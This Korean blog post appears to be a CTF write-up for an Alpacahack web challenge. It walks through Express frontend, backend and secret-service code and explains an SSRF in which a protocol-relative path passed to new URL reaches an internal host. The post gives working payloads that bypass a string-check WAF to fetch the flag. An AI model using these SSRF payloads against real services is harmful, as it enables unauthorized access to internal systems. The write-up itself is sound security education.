반응형
문제설명
Topic: Server-Side
주제: Web
난이도: Medium
:pizza: -> 🍕
코드분석
frontend / index.js
const waf = (path) => {
if (typeof path !== "string") throw new Error("Invalid types");
if (!path.startsWith("/")) throw new Error("Invalid 1");
if (!path.includes("emoji")) throw new Error("Invalid 2");
return path;
};
- waf은 경로가 문자열이어야 하고, "/" 로 시작하며, emoji를 포함하고 있어야 한다.
express()
.get("/", (req, res) => res.type("html").send(fs.readFileSync("index.html")))
.get("/api", async (req, res) => {
try {
const path = waf(req.query.path);
const url = new URL(path, "http://backend:3000");
const emoji = await fetch(url).then((r) => r.text());
res.send(emoji);
} catch (err) {
res.send(err.message);
}
})
.listen(3000);
- "/" 요청 시 인덱스 페이지(index.html) 보여줌
- /api는 쿼리의 path 값을 받아 수행함
- path를 먼저 waf 검증을 수행
- path를 backend URL에 붙여 새 객체 생성함
- URL로 요청해서 텍스트로 받은걸 emoji 변수에 저장
- 에러나면 에러메시지 출력
backend / index.js
express()
.get("/emoji/:text", (req, res) =>
res.send(emoji.get(req.params.text) ?? "❓")
)
.listen(3000);
- /emoji/:text 요청 시 수행
- :text는 URL 파라미터
ex) /emoji/pizza 요청이면 req.params.text === "pizza"
- :text는 URL 파라미터
- 해당 이모지를 node-emoji 라이브러리에서 찾음
있으면 출력하고 없으면 ?
secret / index.js
express()
// http://secret:1337/flag
.get("/flag", (req, res) => res.send(FLAG))
.listen(1337);
- secret:1337/flag에 있음
- flag 요청 시 플래그 출력
취약점 분석
- waf은 "/" 로 시작하는지와 emoji 문자열 포함만 검사함
- /api가 사용자가 입력한 req.query.path로 내부 fetch를 수행
- new URL(path, "http://backend:3000")에서 path를 //secret:1337/flag?emoji=1처럼 주면, 호스트가 backend가 아니라 secret:1337로 바뀔 수 있음
new URL(input, base)
- input이 /... 형태면 base의 호스트를 유지하고 경로만 바뀜
ex) new URL("/emoji/aaa", "http://backend:3000")
→ http://backend:3000/emoji/aaa
- input이 //... 형태면 (network-path reference) base의 스킴(http) 만 가져오고, 호스트는 input 쪽으로 교체됨
ex) new URL("//secret:1337/flag", "http://backend:3000")
→ http://secret:1337/flag
익스플로잇
/api 요청을 가로채기 위해서 aaa 입력

FLAG가 http://secret:1337/flag 에 있으니까 경로를 api?path=//secret:1337/flag 로 먼저 바꿔주면 아래 코드처럼 작동
const url = new URL("//secret:1337/flag", "http://backend:3000");
-> http://secret:1337/flag
- 요청 대상이 http://backend:3000 이 아니라 http://secret:1337/flag로 바뀜
WAF 우회를 위해 emoji 문자열을 추가해 줌
경로 우회가 없으므로 다음과 같이 작성하면 waf 우회 가능
/api?path=//secret:1337/flag/emoji/aaa/../../
-> 결론적으로 /api?path=//secret:1337/flag 가 실행
다른 방식으로는
/api?path=//secret:1337/flag?emoji=1
- secret / index.js 에서는 /flag 라우트만 확인하므로 ?emoji=1 내용은 무시하고 플래그 반환


반응형
'Alpacahack' 카테고리의 다른 글
| Alpaca Rangers (0) | 2026.03.03 |
|---|---|
| omikuji (0) | 2026.02.23 |
| Log Viewer (0) | 2026.02.20 |
| You are being redirected (0) | 2026.02.16 |
| Inu Profile (0) | 2026.02.11 |